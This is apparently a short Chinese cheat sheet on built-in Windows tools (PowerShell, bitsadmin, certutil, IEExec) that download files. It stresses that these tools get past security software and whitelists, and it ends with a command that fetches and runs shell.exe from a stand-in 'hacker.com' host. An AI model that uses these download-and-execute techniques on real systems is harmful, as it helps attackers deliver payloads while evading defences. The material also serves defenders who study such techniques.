windows中内置的上传下载工具

powershell

powershell是windows7之后自带的模块，这个功能非常强大可以对内核 windows API无限访问。powershell完全可信，因此通常被安全软件忽略。

powershell -exec bypass -c (new-object System.Net.WebClient).DownloadFile('文件的下载路径', '本地文件保存路径')
或者
$client = new-object System.Net.WebClient
$client.DownloadFile('#1', '#2')
#1是需要下载文件的url
#2是保存为本地文件的路径，包括文件名
例如：$client.DownloadFile('https://xxxxx.123.jpg', 'D:/123.jpg')

 

Bitsadmin

这个也是windows内置的功能模块，windows自动更新就是用的这个。

bitsadmin /transfer n http://photo.16pic.com/asd.jpg D:\asd.jpg

 

certutil

certutil.exe是一个命令行程序，作为证书服务的一部分安装。和显示证书颁发机构（CA）配置信息，配置证书服务，备份和还原CA组件以及验证证书，密钥对和证书链，能从远程URL下载证书或者其他文件。其使用语法如下

certutil.exe -urlcache  -split  -f  url文件的下载路径

 

IEExec

IEexec.exe应用程序是.NET Framework附带程序，存在于多个系统白名单内。可以将IEExec.exe应用程序用作主机，以运行使用URL启动的其他托管应用程序。

IEexe.exe在64位系统路径为：C:\Windows\Microsoft.NET\Framework64\v2.0.50727

cmd:> IEexec.exe http://www.hacker.com/shell.exe